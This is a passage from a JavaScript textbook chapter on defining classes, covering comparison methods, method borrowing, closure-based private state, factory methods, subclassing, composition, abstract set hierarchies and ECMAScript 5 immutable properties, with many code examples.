The Card class of Example 9-8 defines a `compareTo()` method of this kind, and we can write a similar method for the Range class to order ranges by their lower bound:

```
Range.prototype.compareTo = function(that) {
    return this.from - that.from;
};
```

Notice that the subtraction performed by this method correctly returns a value less than zero, equal to zero, or greater than zero, according to the relative order of the two Ranges. Because the `Card.Rank` enumeration in Example 9-8 has a `valueOf()` method, we could have used this same idiomatic trick in the `compareTo()` method of the Card class.

The `equals()` methods above perform type checking on their argument and return `false` to indicate inequality if the argument is of the wrong type. The `compareTo()` method does not have any return value that indicates "those two values are not comparable," so a `compareTo()` method that does type checking should typically throw an error when passed an argument of the wrong type.

Notice that the `compareTo()` method we defined for the Range class above returns 0 when two ranges have the same lower bound. This means that as far as `compareTo()` is concerned, any two ranges that start at the same spot are equal. This definition of equality is inconsistent with the definition used by the `equals()` method, which requires both endpoints to match. Inconsistent notions of equality can be a pernicious source of bugs, and it is best to make your `equals()` and `compareTo()` methods consistent. Here is a revised `compareTo()` method for the Range class. It is consistent with `equals()` and also throws an error if called with an incomparable value:

```
// Order ranges by lower bound, or upper bound if the lower bounds are equal.
// Throws an error if passed a non-Range value.
// Returns 0 if and only if this.equals(that).
Range.prototype.compareTo = function(that) {
    if (!(that instanceof Range))
        throw new Error("Can't compare a Range with " + that);
    var diff = this.from - that.from;         // Compare lower bounds
    if (diff == 0) diff = this.to - that.to;  // If equal, compare upper bounds
    return diff;
};
```

One reason to define a `compareTo()` method for a class is so that arrays of instances of that class can be sorted. The `Array.sort()` method accepts as an optional argument a comparison function that uses the same return-value conventions as the `compareTo()` method. Given the `compareTo()` method shown above, it is easy to sort an array of Range objects with code like this:

```
ranges.sort(function(a,b) { return a.compareTo(b); });
```

Sorting is important enough that you should consider defining this kind of two-argument comparison function as a class method for any class for which you define a `compareTo()` instance method. One can easily be defined in terms of the other. For example:

```
Range.byLowerBound = function(a,b) { return a.compareTo(b); };
```

With a method like this defined, sorting becomes simpler:

```
ranges.sort(Range.byLowerBound);
```

Some classes can be ordered in more than one way. The Card class, for example, defines one class method that orders cards by suit and another that orders them by rank.

9.6.5 Borrowing Methods

There is nothing special about methods in JavaScript: they are simply functions assigned to object properties and invoked "through" or "on" an object. A single function can be assigned to two properties, and it then serves as two methods. We did this for our Set class, for example, when we copied the `toArray()` method and made it do dual-duty as a `toJSON()` method as well.

A single function can even be used as a method of more than one class. Most of the built-in methods of the Array class, for example, are defined generically, and if you define a class whose instances are array-like objects, you can copy functions from `Array.prototype` to the prototype object of your class. If you view JavaScript through the lens of classical object-oriented languages, the use of methods of one class as methods of another class can be thought of as a form of multiple inheritance. JavaScript is not a classical object-oriented language, however, and I prefer to describe this kind of method reuse using the informal term *borrowing*.

It is not only Array methods that can be borrowed: we can write our own generic methods. Example 9-9 defines generic `toString()` and `equals()` methods that are suit-

able for use by simple classes like our Range, Complex, and Card classes. If the Range class did not have an `equals()` method, we could *borrow* the generic `equals()` like this:

```
Range.prototype.equals = generic.equals;
```

Note that the `generic.equals()` method does only a shallow comparison, and it is not suitable for use with classes whose instance properties refer to objects with their own `equals()` methods. Also notice that this method includes special case code to handle the property added to objects when they are inserted into a Set (Example 9-6).

Example 9-9. Generic methods for borrowing

```
var generic = {
    // Returns a string that includes the name of the constructor function
    // if available and the names and values of all noninherited, nonfunction
    // properties.
    toString: function() {
        var s = '[';
        // If the object has a constructor and the constructor has a name,
        // use that class name as part of the returned string.  Note that
        // the name property of functions is nonstandard and not supported
        // everywhere.
        if (this.constructor && this.constructor.name)
            s += this.constructor.name + ": ";

        // Now enumerate all noninherited, nonfunction properties
        var n = 0;
        for(var name in this) {
            if (!this.hasOwnProperty(name)) continue;   // skip inherited props
            var value = this[name];
            if (typeof value === "function") continue;  // skip methods
            if (n++) s += ", ";
            s += name + '=' + value;
        }
        return s + ']';
    },

    // Tests for equality by comparing the constructors and instance properties
    // of this and that.  Only works for classes whose instance properties are
    // primitive values that can be compared with ===.
    // As a special case, ignore the special property added by the Set class.
    equals: function(that) {
        if (that == null) return false;
        if (this.constructor !== that.constructor) return false;
        for(var name in this) {
            if (name === "|**objectid**|") continue;     // skip special prop.
            if (!this.hasOwnProperty(name)) continue;    // skip inherited
            if (this[name] !== that[name]) return false; // compare values
        }
        return true;  // If all properties matched, objects are equal.
    }
};
```

9.6.6 Private State

In classical object-oriented programming, it is often a goal to encapsulate or hide the state of an object within the object, allowing access to that state only through the methods of the object, and now allowing the important state variables to be read or written directly. To achieve this goal, languages like Java allow the declaration of "private" instance fields of a class that are only accessible to the instance method of the class and cannot be seen outside of the class.

We can approximate private instance fields using variables (or arguments) captured in the closure of the constructor invocation that creates an instance. To do this, we define functions inside the constructor (so they have access to the constructor's arguments and variables) and assign those functions to properties of the newly created object. Example 9-10 shows how we can do this to create an encapsulated version of our Range class. Instead of having `from` and `to` properties that give the endpoints of the range, instances of this new version of the class have `from` and `to` methods that return the endpoints of the range. These `from()` and `to()` methods are defined on the individual Range object and are not inherited from the prototype. The other Range methods are defined on the prototype as usual, but modified to call the `from()` and `to()` methods rather than read the endpoints directly from properties.

Example 9-10. A Range class with weakly encapsulated endpoints

```
function Range(from, to) {
    // Don't store the endpoints as properties of this object. Instead
    // define accessor functions that return the endpoint values.
    // These values are stored in the closure.
    this.from = function() { return from; };
    this.to = function() { return to; };
}

// The methods on the prototype can't see the endpoints directly: they have
// to invoke the accessor methods just like everyone else.
Range.prototype = {
    constructor: Range,
    includes: function(x) { return this.from() <= x && x <= this.to(); },
    foreach: function(f) {
        for(var x=Math.ceil(this.from()), max=this.to(); x <= max; x++) f(x);
    },
    toString: function() { return "(" + this.from() + "..." + this.to() + ")"; }
};
```

This new Range class defines methods for querying the endpoints of a range, but no methods or properties for setting those endpoints. This gives instances of this class a kind of *immutability*: if used correctly, the endpoints of a Range object will not change after it has been created. Unless we use ECMAScript 5 features (see §9.8.3), however, the `from` and `to` properties are still writable, and Range objects aren't really immutable at all:

```
var r = new Range(1,5);             // An "immutable" range
r.from = function() { return 0; };  // Mutate by replacing the method
```

Keep in mind that there is an overhead to this encapsulation technique. A class that uses a closure to encapsulate its state will almost certainly be slower and larger than the equivalent class with unencapsulated state variables.

9.6.7 Constructor Overloading and Factory Methods

Sometimes we want to allow objects to be initialized in more than one way. We might want to create a Complex object initialized with a radius and an angle (polar coordinates) instead of real and imaginary components, for example, or we might want to create a Set whose members are the elements of an array rather than the arguments passed to the constructor.

One way to do this is to *overload* the constructor and have it perform different kinds of initialization depending on the arguments it is passed. Here is an overloaded version of the Set constructor, for example:

```
function Set() {
    this.values = {};     // The properties of this object hold the set
    this.n = 0;           // How many values are in the set

    // If passed a single array-like object, add its elements to the set
    // Otherwise, add all arguments to the set
    if (arguments.length == 1 && isArrayLike(arguments[0]))
        this.add.apply(this, arguments[0]);
    else if (arguments.length > 0)
        this.add.apply(this, arguments);
}
```

Defining the `Set()` constructor this way allows us to explicitly list set members in the constructor call or to pass an array of members to the constructor. The constructor has an unfortunate ambiguity, however: we cannot use it to create a set that has an array as its sole member. (To do that, we'd have to create an empty set and then call the `add()` method explicitly.)

In the case of complex numbers initialized to polar coordinates, constructor overloading really isn't viable. Both representations of complex numbers involve two floating-point numbers and, unless we add a third argument to the constructor, there is no way for the constructor to examine its arguments and determine which representation is desired. Instead, we can write a factory method—a class method that returns an instance of the class. Here is a factory method for returning a Complex object initialized using polar coordinates:

```
Complex.polar = function(r, theta) {
    return new Complex(r*Math.cos(theta), r*Math.sin(theta));
};
```

And here is a factory method for initializing a Set from an array:

```
Set.fromArray = function(a) {
    s = new Set();      // Create a new empty set
    s.add.apply(s, a);  // Pass elements of array a to the add method
```

```
    return s;           // Return the new set
};
```

The appeal of factory methods here is that you can give them whatever name you want, and methods with different names can perform different kinds of initializations. Since constructors serve as the public identity of a class, however, there is usually only a single constructor per class. This is not a hard-and-fast rule, however. In JavaScript it is possible to define multiple constructor functions that share a single prototype object, and if you do this, objects created by any of the constructors will be of the same type. This technique is not recommended, but here is an auxiliary constructor of this type:

```
// An auxiliary constructor for the Set class.
function SetFromArray(a) {
    // Initialize new object by invoking Set() as a function,
    // passing the elements of a as individual arguments.
    Set.apply(this, a);
}
// Set the prototype so that SetFromArray creates instances of Set
SetFromArray.prototype = Set.prototype;

var s = new SetFromArray([1,2,3]);
s instanceof Set   // => true
```

In ECMAScript 5, the `bind()` method of functions has special behavior that allows it to create this kind of auxiliary constructor. See §8.7.4.

9.7 Subclasses

In object-oriented programming, a class B can *extend* or *subclass* another class A. We say that A is the *superclass* and B is the *subclass*. Instances of B inherit all the instance methods of A. The class B can define its own instance methods, some of which may *override* methods of the same name defined by class A. If a method of B overrides a method of A, the overriding method in B may sometimes want to invoke the overridden method in A: this is called *method chaining*. Similarly, the subclass constructor `B()` may sometimes need to invoke the superclass constructor `A()`. This is called *constructor chaining*. Subclasses can themselves have subclasses, and when working with hierarchies of classes, it can sometimes be useful to define *abstract classes*. An abstract class is one that defines one or more methods without an implementation. The implementation of these *abstract methods* is left to the *concrete subclasses* of the abstract class.

The key to creating subclasses in JavaScript is proper initialization of the prototype object. If class B extends A, then `B.prototype` must be an heir of `A.prototype`. Then instances of B will inherit from `B.prototype` which in turn inherits from `A.prototype`. This section demonstrates each of the subclass-related terms defined above, and also covers an alternative to subclassing known as *composition*.

Using the Set class of Example 9-6 as a starting point, this section will demonstrate how to define subclasses, how to chain to constructors and overridden methods, how to use composition instead of inheritance, and finally, how to separate interface from imple-

mentation with abstract classes. The section ends with an extended example that defines a hierarchy of Set classes. Note that the early examples in this section are intended to demonstrate basic subclassing techniques. Some of these examples have important flaws that will be addressed later in the section.

9.7.1 Defining a Subclass

JavaScript objects inherit properties (usually methods) from the prototype object of their class. If an object O is an instance of a class B and B is a subclass of A, then O must also inherit properties from A. We arrange this by ensuring that the prototype object of B inherits from the prototype object of A. Using our `inherit()` function (Example 6-1), we write:

```
B.prototype = inherit(A.prototype); // Subclass inherits from superclass
B.prototype.constructor = B;        // Override the inherited constructor prop.
```

These two lines of code are the key to creating subclasses in JavaScript. Without them, the prototype object will be an ordinary object—an object that inherits from `Object.prototype`—and this means that your class will be a subclass of Object like all classes are. If we add these two lines to the `defineClass()` function (from §9.3), we can transform it into the `defineSubclass()` function and the `Function.prototype.extend()` method shown in Example 9-11.

Example 9-11. Subclass definition utilities

```
// A simple function for creating simple subclasses
function defineSubclass(superclass,  // Constructor of the superclass
                        constructor, // The constructor for the new subclass
                        methods,     // Instance methods: copied to prototype
                        statics)     // Class properties: copied to constructor
{
    // Set up the prototype object of the subclass
    constructor.prototype = inherit(superclass.prototype);
    constructor.prototype.constructor = constructor;
    // Copy the methods and statics as we would for a regular class
    if (methods) extend(constructor.prototype, methods);
    if (statics) extend(constructor, statics);
    // Return the class
    return constructor;
}

// We can also do this as a method of the superclass constructor
Function.prototype.extend = function(constructor, methods, statics) {
    return defineSubclass(this, constructor, methods, statics);
};
```

Example 9-12 demonstrates how to write a subclass "manually" without using the `defineSubclass()` function. It defines a SingletonSet subclass of Set. A SingletonSet is a specialized set that is read-only and has a single constant member.

Example 9-12. SingletonSet: a simple set subclass

```
// The constructor function
function SingletonSet(member) {
    this.member = member;   // Remember the single member of the set
}

// Create a prototype object that inherits from the prototype of Set.
SingletonSet.prototype = inherit(Set.prototype);

// Now add properties to the prototype.
// These properties override the properties of the same name from Set.prototype.
extend(SingletonSet.prototype, {
           // Set the constructor property appropriately
           constructor: SingletonSet,
           // This set is read-only: add() and remove() throw errors
           add: function() { throw "read-only set"; },
           remove: function() { throw "read-only set"; },
           // A SingletonSet always has size 1
           size: function() { return 1; },
           // Just invoke the function once, passing the single member.
           foreach: function(f, context) { f.call(context, this.member); },
           // The contains() method is simple: true only for one value
           contains: function(x) { return x === this.member; }
       });
```

Our SingletonSet class has a very simple implementation that consists of five simple method definitions. It implements these five core Set methods, but inherits methods such as `toString()`, `toArray()` and `equals()` from its superclass. This inheritance of methods is the reason for defining subclasses. The `equals()` method of the Set class (defined in §9.6.4), for example, works to compare any Set instance that has working `size()` and `foreach()` methods with any Set that has working `size()` and `contains()` methods. Because SingletonSet is a subclass of Set, it inherits this `equals()` implementation automatically and doesn't have to write its own. Of course, given the radically simple nature of singleton sets, it might be more efficient for SingletonSet to define its own version of `equals()`:

```
SingletonSet.prototype.equals = function(that) {
    return that instanceof Set && that.size()==1 && that.contains(this.member);
};
```

Note that SingletonSet does not statically borrow a list of methods from Set: it dynamically inherits the methods of the Set class. If we add a new method to `Set.prototype`, it immediately becomes available to all instances of Set and of SingletonSet (assuming SingletonSet does not already define a method by the same name).

9.7.2 Constructor and Method Chaining

The SingletonSet class in the last section defined a completely new set implementation, and completely replaced the core methods it inherited from its superclass. Often, however, when we define a subclass, we only want to augment or modify the behavior of our superclass methods, not replace them completely. To do this, the constructor and

methods of the subclass call or *chain to* the superclass constructor and the superclass methods.

Example 9-13 demonstrates this. It defines a subclass of Set named NonNullSet: a set that does not allow `null` and `undefined` as members. In order to restrict the membership in this way, NonNullSet needs to test for null and undefined values in its `add()` method. But it doesn't want to reimplement the `add()` method completely, so it chains to the superclass version of the method. Notice also that the `NonNullSet()` constructor doesn't take any action of its own: it simply passes its arguments to the superclass constructor (invoking it as a function, not as a constructor) so that the superclass constructor can initialize the newly created object.

Example 9-13. Constructor and method chaining from subclass to superclass

```
/*
 * NonNullSet is a subclass of Set that does not allow null and undefined
 * as members of the set.
 */
function NonNullSet() {
    // Just chain to our superclass.
    // Invoke the superclass constructor as an ordinary function to initialize
    // the object that has been created by this constructor invocation.
    Set.apply(this, arguments);
}

// Make NonNullSet a subclass of Set:
NonNullSet.prototype = inherit(Set.prototype);
NonNullSet.prototype.constructor = NonNullSet;

// To exclude null and undefined, we only have to override the add() method
NonNullSet.prototype.add = function() {
    // Check for null or undefined arguments
    for(var i = 0; i < arguments.length; i++)
        if (arguments[i] == null)
            throw new Error("Can't add null or undefined to a NonNullSet");

    // Chain to the superclass to perform the actual insertion
    return Set.prototype.add.apply(this, arguments);
};
```

Let's generalize this notion of a non-null set to a "filtered set": a set whose members must pass through a filter function before being added. We'll define a class factory function (like the `enumeration()` function from Example 9-7) that is passed a filter function and returns a new Set subclass. In fact, we can generalize even further and define our class factory to take two arguments: the class to subclass and the filter to apply to its `add()` method. We'll call this factory method `filteredSetSubclass()`, and we might use it like this:

```
// Define a set class that holds strings only
var StringSet = filteredSetSubclass(Set,
                                    function(x) {return typeof x=="string";});

// Define a set class that does not allow null, undefined or functions
```

```
var MySet = filteredSetSubclass(NonNullSet,
                                function(x) {return typeof x !== "function";});
```

The code for this class factory function is in Example 9-14. Notice how this function performs the same method and constructor chaining as NonNullSet did.

Example 9-14. A class factory and method chaining

```
/*
 * This function returns a subclass of specified Set class and overrides
 * the add() method of that class to apply the specified filter.
 */
function filteredSetSubclass(superclass, filter) {
    var constructor = function() {          // The subclass constructor
        superclass.apply(this, arguments);  // Chains to the superclass
    };
    var proto = constructor.prototype = inherit(superclass.prototype);
    proto.constructor = constructor;
    proto.add = function() {
        // Apply the filter to all arguments before adding any
        for(var i = 0; i < arguments.length; i++) {
            var v = arguments[i];
            if (!filter(v)) throw("value " + v + " rejected by filter");
        }
        // Chain to our superclass add implementation
        superclass.prototype.add.apply(this, arguments);
    };
    return constructor;
}
```

One interesting point to note about Example 9-14 is that by wrapping a function around our subclass creation code, we are able to use the `superclass` argument in our constructor and method chaining code rather than hard-coding the name of the actual superclass. This means that if we wanted to change the superclass, we would only have to change it in one spot, rather than searching our code for every mention of it. This is arguably a technique that is worth using, even if we're not defining a class factory. For example, we could rewrite our `NonNullSet` using a wrapper function and the `Function.prototype.extend()` method (of Example 9-11) like this:

```
var NonNullSet = (function() {  // Define and invoke function
    var superclass = Set;       // Only specify the superclass once.
    return superclass.extend(
        function() { superclass.apply(this, arguments); },  // the constructor
        {                                                   // the methods
            add: function() {
                // Check for null or undefined arguments
                for(var i = 0; i < arguments.length; i++)
                    if (arguments[i] == null)
                        throw new Error("Can't add null or undefined");

                // Chain to the superclass to perform the actual insertion
                return superclass.prototype.add.apply(this, arguments);

            }
```

```
        });
    }());
```

Finally, it is worth emphasizing that the ability to create class factories like this one arises from the dynamic nature of JavaScript. Class factories are a powerful and useful feature that has no analog in languages like Java and C++.

9.7.3 Composition Versus Subclassing

In the previous section, we wanted to define sets that restricted their members according to certain criteria, and we used subclassing to accomplish this, creating a custom subclass of a specified set implementation that used a specified filter function to restrict membership in the set. Each combination of superclass and filter function required the creation of a new class.

There is a better way to accomplish this, however. A well-known principle in object-oriented design is "favor composition over inheritance."[2] In this case we can use composition by defining a new set implementation that "wraps" another set object and forwards requests to it, after filtering out prohibited members. Example 9-15 shows how it is done.

Example 9-15. Composing sets instead of subclassing them

```
/*
 * A FilteredSet wraps a specified set object and applies a specified filter
 * to values passed to its add() method.  All of the other core set methods
 * simply forward to the wrapped set instance.
 */
var FilteredSet = Set.extend(
    function FilteredSet(set, filter) {  // The constructor
        this.set = set;
        this.filter = filter;
    },
    {  // The instance methods
        add: function() {
            // If we have a filter, apply it
            if (this.filter) {
                for(var i = 0; i < arguments.length; i++) {
                    var v = arguments[i];
                    if (!this.filter(v))
                        throw new Error("FilteredSet: value " + v +
                                        " rejected by filter");
                }
            }

            // Now forward the add() method to this.set.add()
            this.set.add.apply(this.set, arguments);
            return this;
        },
        // The rest of the methods just forward to this.set and do nothing else.
        remove: function() {
```

2. See *Design Patterns* by Erich Gamma et al. or *Effective Java* by Joshua Bloch, for example.

```
        this.set.remove.apply(this.set, arguments);
        return this;
    },
    contains: function(v) { return this.set.contains(v); },
    size: function() { return this.set.size(); },
    foreach: function(f,c) { this.set.foreach(f,c); }
});
```

One of the benefits of using composition in this case is that only a single FilteredSet subclass is required. Instances of this class can be created to restrict the membership of any other set instance. Instead of using the NonNullSet class defined earlier, for example, we can do this:

```
var s = new FilteredSet(new Set(), function(x) { return x !== null; });
```

We can even filter a filtered set:

```
var t = new FilteredSet(s, { function(x} { return !(x instanceof Set); });
```

9.7.4 Class Hierarchies and Abstract Classes

In the previous section you were urged to "favor composition over inheritance." But to illustrate this principle, we created a subclass of Set. We did this so that the resulting class would be `instanceof Set`, and so that it could inherit the useful auxiliary Set methods like `toString()` and `equals()`. These are valid pragmatic reasons, but it still would have been nice to be able to do set composition without subclassing a concrete implementation like the Set class. A similar point can be made about our SingletonSet class from Example 9-12—that class subclassed Set, so that it could inherit the auxiliary methods, but its implementation was completely different than its superclass. SingletonSet is not a specialized version of the Set class, but a completely different kind of Set. SingletonSet should be a sibling of Set in the class hierarchy, not a descendant of it.

The solution in classical OO languages and also in JavaScript is to separate interface from implementation. Suppose we define an AbstractSet class which implements the auxiliary methods like `toString()` but does not implement the core methods like `foreach()`. Then, our set implementations, Set, SingletonSet, and FilteredSet, can all be subclasses of AbstractSet. FilteredSet and SingletonSet no longer subclass an unrelated implementation.

Example 9-16 takes this approach further and defines a hierarchy of abstract set classes. AbstractSet defines only a single abstract method, `contains()`. Any class that purports to be a set must define at least this one method. Next, we subclass AbstractSet to define AbstractEnumerableSet. That class adds abstract `size()` and `foreach()` methods, and defines useful concrete methods (`toString()`, `toArray()`, `equals()`, and so on) on top of them. AbstractEnumerableSet does not define `add()` or `remove()` methods and represents read-only sets. SingletonSet can be implemented as a concrete subclass. Finally, we define AbstractWritableSet as a subclass of AbstractEnumerableSet. This final abstract set defines the abstract methods `add()` and `remove()`, and implements concrete

methods like `union()` and `intersection()` that use them. `AbstractWritableSet` is the appropriate superclass for our Set and FilteredSet classes. They are omitted from this example, however, and a new concrete implementation named ArraySet is included instead.

Example 9-16 is a long example, but worth reading through in its entirety. Note that it uses `Function.prototype.extend()` as a shortcut for creating subclasses.

Example 9-16. A hierarchy of abstract and concrete Set classes

```
// A convenient function that can be used for any abstract method
function abstractmethod() { throw new Error("abstract method"); }

/*
 * The AbstractSet class defines a single abstract method, contains().
 */
function AbstractSet() { throw new Error("Can't instantiate abstract classes");}
AbstractSet.prototype.contains = abstractmethod;

/*
 * NotSet is a concrete subclass of AbstractSet.
 * The members of this set are all values that are not members of some
 * other set. Because it is defined in terms of another set it is not
 * writable, and because it has infinite members, it is not enumerable.
 * All we can do with it is test for membership.
 * Note that we're using the Function.prototype.extend() method we defined
 * earlier to define this subclass.
 */
var NotSet = AbstractSet.extend(
    function NotSet(set) { this.set = set; },
    {
        contains: function(x) { return !this.set.contains(x); },
        toString: function(x) { return "~" + this.set.toString(); },
        equals: function(that) {
            return that instanceof NotSet && this.set.equals(that.set);
        }
    }
);


/*
 * AbstractEnumerableSet is an abstract subclass of AbstractSet.
 * It defines the abstract methods size() and foreach(), and then implements
 * concrete isEmpty(), toArray(), to[Locale]String(), and equals() methods
 * on top of those. Subclasses that implement contains(), size(), and foreach()
 * get these five concrete methods for free.
 */
var AbstractEnumerableSet = AbstractSet.extend(
    function() { throw new Error("Can't instantiate abstract classes"); },
    {
        size: abstractmethod,
        foreach: abstractmethod,
        isEmpty: function() { return this.size() == 0; },
        toString: function() {
            var s = "{", i = 0;
```

```
            this.foreach(function(v) {
                            if (i++ > 0) s += ", ";
                            s += v;
                        });
            return s + "}";
        },
        toLocaleString : function() {
            var s = "{", i = 0;
            this.foreach(function(v) {
                            if (i++ > 0) s += ", ";
                            if (v == null) s += v; // null & undefined
                            else s += v.toLocaleString(); // all others
                        });
            return s + "}";
        },
        toArray: function() {
            var a = [];
            this.foreach(function(v) { a.push(v); });
            return a;
        },
        equals: function(that) {
            if (!(that instanceof AbstractEnumerableSet)) return false;
            // If they don't have the same size, they're not equal
            if (this.size() != that.size()) return false;
            // Now check whether every element in this is also in that.
            try {
                this.foreach(function(v) {if (!that.contains(v)) throw false;});
                return true;  // All elements matched: sets are equal.
            } catch (x) {
                if (x === false) return false; // Sets are not equal
                throw x; // Some other exception occurred: rethrow it.
            }
        }
    });

/*
 * SingletonSet is a concrete subclass of AbstractEnumerableSet.
 * A singleton set is a read-only set with a single member.
 */
var SingletonSet = AbstractEnumerableSet.extend(
    function SingletonSet(member) { this.member = member; },
    {
        contains: function(x) {  return x === this.member; },
        size: function() { return 1; },
        foreach: function(f,ctx) { f.call(ctx, this.member); }
    }
);


/*
 * AbstractWritableSet is an abstract subclass of AbstractEnumerableSet.
 * It defines the abstract methods add() and remove(), and then implements
 * concrete union(), intersection(), and difference() methods on top of them.
 */
var AbstractWritableSet = AbstractEnumerableSet.extend(
    function() { throw new Error("Can't instantiate abstract classes"); },
```

```
    {
        add: abstractmethod,
        remove: abstractmethod,
        union: function(that) {
            var self = this;
            that.foreach(function(v) { self.add(v); });
            return this;
        },
        intersection: function(that) {
            var self = this;
            this.foreach(function(v) { if (!that.contains(v)) self.remove(v);});
            return this;
        },
        difference: function(that) {
            var self = this;
            that.foreach(function(v) { self.remove(v); });
            return this;
        }
    });

/*
 * An ArraySet is a concrete subclass of AbstractWritableSet.
 * It represents the set elements as an array of values, and uses a linear
 * search of the array for its contains() method. Because the contains()
 * method is O(n) rather than O(1), it should only be used for relatively
 * small sets. Note that this implementation relies on the ES5 Array methods
 * indexOf() and forEach().
 */
var ArraySet = AbstractWritableSet.extend(
    function ArraySet() {
        this.values = [];
        this.add.apply(this, arguments);
    },
    {
        contains: function(v) { return this.values.indexOf(v) != -1; },
        size: function() { return this.values.length; },
        foreach: function(f,c) { this.values.forEach(f, c); },
        add: function() {
            for(var i = 0; i < arguments.length; i++) {
                var arg = arguments[i];
                if (!this.contains(arg)) this.values.push(arg);
            }
            return this;
        },
        remove: function() {
            for(var i = 0; i < arguments.length; i++) {
                var p = this.values.indexOf(arguments[i]);
                if (p == -1) continue;
                this.values.splice(p, 1);
            }
            return this;
        }
    }
);
```

9.8 Classes in ECMAScript 5

ECMAScript 5 adds methods for specifying property attributes (getters, setters, enumerability, writability, and configurability) and for restricting the extensibility of objects. These methods were described in §6.6, §6.7, and §6.8.3, but turn out to be quite useful when defining classes. The subsections that follow demonstrate how to use these ECMAScript 5 capabilities to make your classes more robust.

9.8.1 Making Properties Nonenumerable

The Set class of Example 9-6 used a trick to store objects as set members: it defined an "object id" property on any object added to the set. Later, if other code uses that object in a `for/in` loop, this added property will be returned. ECMAScript 5 allows us to avoid this by making properties nonenumerable. Example 9-17 demonstrates how to do this with `Object.defineProperty()` and also shows how to define a getter function and how to test whether an object is extensible.

Example 9-17. Defining nonenumerable properties

```
// Wrap our code in a function so we can define variables in the function scope
(function() {
     // Define objectId as a nonenumerable property inherited by all objects.
     // When this property is read, the getter function is invoked.
     // It has no setter, so it is read-only.
     // It is nonconfigurable, so it can't be deleted.
     Object.defineProperty(Object.prototype, "objectId", {
                               get: idGetter,       // Method to get value
                               enumerable: false,   // Nonenumerable
                               configurable: false  // Can't delete it
                           });

     // This is the getter function called when objectId is read
     function idGetter() {             // A getter function to return the id
         if (!(idprop in this)) {      // If object doesn't already have an id
             if (!Object.isExtensible(this)) // And if we can add a property
                 throw Error("Can't define id for nonextensible objects");
             Object.defineProperty(this, idprop, {         // Give it one now.
                                   value: nextid++,    // This is the value
                                   writable: false,    // Read-only
                                   enumerable: false,  // Nonenumerable
                                   configurable: false // Nondeletable
                               });
         }
         return this[idprop];          // Now return the existing or new value
     };

     // These variables are used by idGetter() and are private to this function
     var idprop = "|**objectId**|";    // Assume this property isn't in use
     var nextid = 1;                   // Start assigning ids at this #

}()); // Invoke the wrapper function to run the code right away
```

9.8.2 Defining Immutable Classes

In addition to making properties nonenumerable, ECMAScript 5 allows us to make properties read-only, which is handy if we want to define classes whose instances are immutable. Example 9-18 is an immutable version of our Range class that does this using `Object.defineProperties()` and with `Object.create()`. It also uses `Object.defineProperties()` to set up the prototype object for the class, making the instance methods nonenumerable, like the methods of built-in classes. In fact, it goes further than this and makes those instance methods read-only and nondeletable, which prevents any dynamic alterations ("monkey-patching") to the class. Finally, as an interesting trick, Example 9-18 has a constructor function that works as a factory function when invoked without the `new` keyword.

Example 9-18. An immutable class with read-only properties and methods

```
// This function works with or without 'new': a constructor and factory function
function Range(from,to) {
    // These are descriptors for the read-only from and to properties.
    var props = {
        from: {value:from, enumerable:true, writable:false, configurable:false},
        to: {value:to, enumerable:true, writable:false, configurable:false}
    };

    if (this instanceof Range)                // If invoked as a constructor
        Object.defineProperties(this, props); // Define the properties
    else                                      // Otherwise, as a factory
        return Object.create(Range.prototype, // Create and return a new
                             props);          // Range object with props
}

// If we add properties to the Range.prototype object in the same way,
// then we can set attributes on those properties.  Since we don't specify
// enumerable, writable, or configurable, they all default to false.
Object.defineProperties(Range.prototype, {
    includes: {
        value: function(x) { return this.from <= x && x <= this.to; }
    },
    foreach: {
        value: function(f) {
            for(var x = Math.ceil(this.from); x <= this.to; x++) f(x);
        }
    },
    toString: {
        value: function() { return "(" + this.from + "..." + this.to + ")"; }
    }
});
```

Example 9-18 uses `Object.defineProperties()` and `Object.create()` to define immutable and nonenumerable properties. These are powerful methods, but the property descriptor objects they require can make the code difficult to read. An alternative is to define utility functions for modifying the attributes of properties that have already been defined. Example 9-19 shows two such utility functions.

Example 9-19. Property descriptor utilities

```
// Make the named (or all) properties of o nonwritable and nonconfigurable.
function freezeProps(o) {
    var props = (arguments.length == 1)              // If 1 arg
        ? Object.getOwnPropertyNames(o)              //  use all props
        : Array.prototype.splice.call(arguments, 1); //  else named props
    props.forEach(function(n) { // Make each one read-only and permanent
        // Ignore nonconfigurable properties
        if (!Object.getOwnPropertyDescriptor(o,n).configurable) return;
        Object.defineProperty(o, n, { writable: false, configurable: false });
    });
    return o;  // So we can keep using it
}

// Make the named (or all) properties of o nonenumerable, if configurable.
function hideProps(o) {
    var props = (arguments.length == 1)              // If 1 arg
        ? Object.getOwnPropertyNames(o)              //  use all props
        : Array.prototype.splice.call(arguments, 1); //  else named props
    props.forEach(function(n) { // Hide each one from the for/in loop
        // Ignore nonconfigurable properties
        if (!Object.getOwnPropertyDescriptor(o,n).configurable) return;
        Object.defineProperty(o, n, { enumerable: false });
    });
    return o;
}
```

`Object.defineProperty()` and `Object.defineProperties()` can be used to create new properties and also to modify the attributes of existing properties. When used to define new properties, any attributes you omit default to `false`. When used to alter existing properties, however, the attributes you omit are left unchanged. In the `hideProps()` function above, for example, we specify only the `enumerable` attribute because that is the only one we want to modify.

With these utility functions defined, we can take advantage of ECMAScript 5 features to write an immutable class without dramatically altering the way we write classes. Example 9-20 shows an immutable Range class that uses our utility functions.

Example 9-20. A simpler immutable class

```
function Range(from, to) {    // Constructor for an immutable Range class
    this.from = from;
    this.to = to;
    freezeProps(this);        // Make the properties immutable
}

Range.prototype = hideProps({ // Define prototype with nonenumerable properties
    constructor: Range,
    includes: function(x) { return this.from <= x && x <= this.to; },
    foreach: function(f) {for(var x=Math.ceil(this.from);x<=this.to;x++) f(x);},
    toString: function() { return "(" + this.from + "..." + this.to + ")"; }
});
```

9.8.3 Encapsulating Object State

§9.6.6 and Example 9-10 showed how you can use variables or arguments of a constructor function as private state for the objects created by that constructor. The shortcoming of this technique is that in ECMAScript 3, the accessor methods that provide access to that state can be replaced. ECMAScript 5 allows us to encapsulate our state variables more robustly by defining property getter and setter methods that cannot be deleted. Example 9-21 demonstrates.

Example 9-21. A Range class with strongly encapsulated endpoints

```
// This version of the Range class is mutable but encapsulates its endpoint
// variables to maintain the invariant that from <= to.
function Range(from, to) {
    // Verify that the invariant holds when we're created
    if (from > to) throw new Error("Range: from must be <= to");

    // Define the accessor methods that maintain the invariant
    function getFrom() {  return from; }
    function getTo() {  return to; }
    function setFrom(f) {  // Don't allow from to be set > to
        if (f <= to) from = f;
        else throw new Error("Range: from must be <= to");
    }
    function setTo(t) {    // Don't allow to to be set < from
        if (t >= from) to = t;
        else throw new Error("Range: to must be >= from");
    }

    // Create enumerable, nonconfigurable properties that use the accessors
    Object.defineProperties(this, {
